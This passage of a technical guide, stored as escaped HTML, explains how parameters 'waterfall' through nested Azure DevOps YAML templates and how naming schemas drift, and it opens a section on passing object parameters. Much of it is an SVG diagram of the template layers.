\u0026ldquo;Stage\u0026rdquo; template. Then you add a \u0026ldquo;Job\u0026rdquo; template. Then a \u0026ldquo;Step\u0026rdquo; template. By the time you reach the fifth layer of nesting, you are manually declaring 40 parameters at every level just to pass a single environment name to a deep-nested script. You aren\u0026rsquo;t building a pipeline; you’ve created a 5,000-line \u0026ldquo;Parameter Waterfall.\u0026rdquo; You are in Parameter Hell.\u003c/p\u003e\n\u003cp\u003eLarge-scale enterprise pipelines require reuse, but Azure DevOps’ default parameter model is strictly declarative and shallow. To pass a value from the top-level pipeline to a deep-nested task, every intermediate template must \u0026ldquo;know\u0026rdquo; about that parameter. This creates massive boilerplate, makes refactoring impossible, and leads to \u0026ldquo;Schema Drift\u0026rdquo; where some templates use \u003ccode\u003eenvName\u003c/code\u003e while others use \u003ccode\u003eenvironment\u003c/code\u003e. This guide teaches you the architectural patterns used by leading platform engineering teams to \u0026ldquo;flatten\u0026rdquo; their parameter waterfalls and build versioned template libraries that scale.\u003c/p\u003e\n\u003ch2 id=\"1-the-parameter-waterfall-and-why-it-breaks\"\u003e1. The \u0026ldquo;Parameter Waterfall\u0026rdquo; and Why it Breaks\u003c/h2\u003e\n\u003cp\u003eThe primary friction point in Azure DevOps YAML is that parameters are not inherited. Unlike environment variables, which flow down the execution tree automatically, YAML parameters must be explicitly handed off at every boundary.\u003c/p\u003e\n\u003ch3 id=\"11-the-shallow-declaration-problem\"\u003e1.1: The Shallow Declaration Problem\u003c/h3\u003e\n\u003cp\u003eHigh-level templates, such as a \u003ccode\u003estandard-pipeline.yml\u003c/code\u003e, become incredibly brittle when they are forced to know every detail of every downstream task. If a low-level \u0026ldquo;Security Scan\u0026rdquo; task adds a new \u003ccode\u003eseverityThreshold\u003c/code\u003e parameter, you must update the Step template, the Job template, the Stage template, and the root pipeline file. This \u0026ldquo;drilling\u0026rdquo; process is the leading cause of technical debt in DevOps platforms.\u003c/p\u003e\n\u003ch4 id=\"the-parameter-waterfall-the-debt-problem\"\u003eThe Parameter Waterfall (The Debt Problem)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 496 329\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 184,240 L 200,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,64 L 104,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,160 L 104,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,256 L 104,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='112.000000,80.000000 100.000000,74.400002 100.000000,85.599998' fill='currentColor' transform='rotate(90.000000, 104.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='112.000000,176.000000 100.000000,170.399994 100.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='112.000000,272.000000 100.000000,266.399994 100.000000,277.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 272.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='192.000000,240.000000 180.000000,234.399994 180.000000,245.600006' fill='currentColor' transform='rotate(180.000000, 184.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='212' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='244' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='292' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='308' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='308' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='308' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='292' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='308' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='292' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='292' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='308' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='308' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='244' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='292' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='308' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='244' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='308' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='308' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='292' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='308' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='244' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='292' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='292' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='308' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='292' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='308' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='308' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='244' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='308' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='244' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='308' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='308' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='244' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='244' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='244' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='244' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='244' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='244' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='244' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='244' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='244' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='244' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='244' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='244' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='244' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='244' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='244' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='244' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"12-schema-drift-the-silent-killer\"\u003e1.2: Schema Drift: The Silent Killer\u003c/h3\u003e\n\u003cp\u003eInconsistent naming conventions across templates lead to logical failures that are difficult to trace. When one team uses \u003ccode\u003ergName\u003c/code\u003e and another uses \u003ccode\u003eresourceGroup\u003c/code\u003e, a developer calling both templates must remember two different schemas for the same underlying Azure concept. String-based parameters are the most dangerous type in a large library because they provide zero validation until the pipeline fails at runtime.\u003c/p\u003e\n\u003ch2 id=\"2-pattern-1-the-object-payload-strategy\"\u003e2. Pattern 1: The \u0026ldquo;Object Payload\u0026rdquo; Strategy\u003c/h2\u003e\n\u003cp\u003eThe most effective way to kill the parameter waterfall is to stop passing strings and start passing \u003cstrong\u003eObjects\u003c/strong\u003e.\u003c/p\u003e\n\u003ch3 id=\"21-bundling-with-type-object\"\u003e2.1: Bundling with Type \u003ccode\u003eobject\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eInstead of declaring 10 discrete 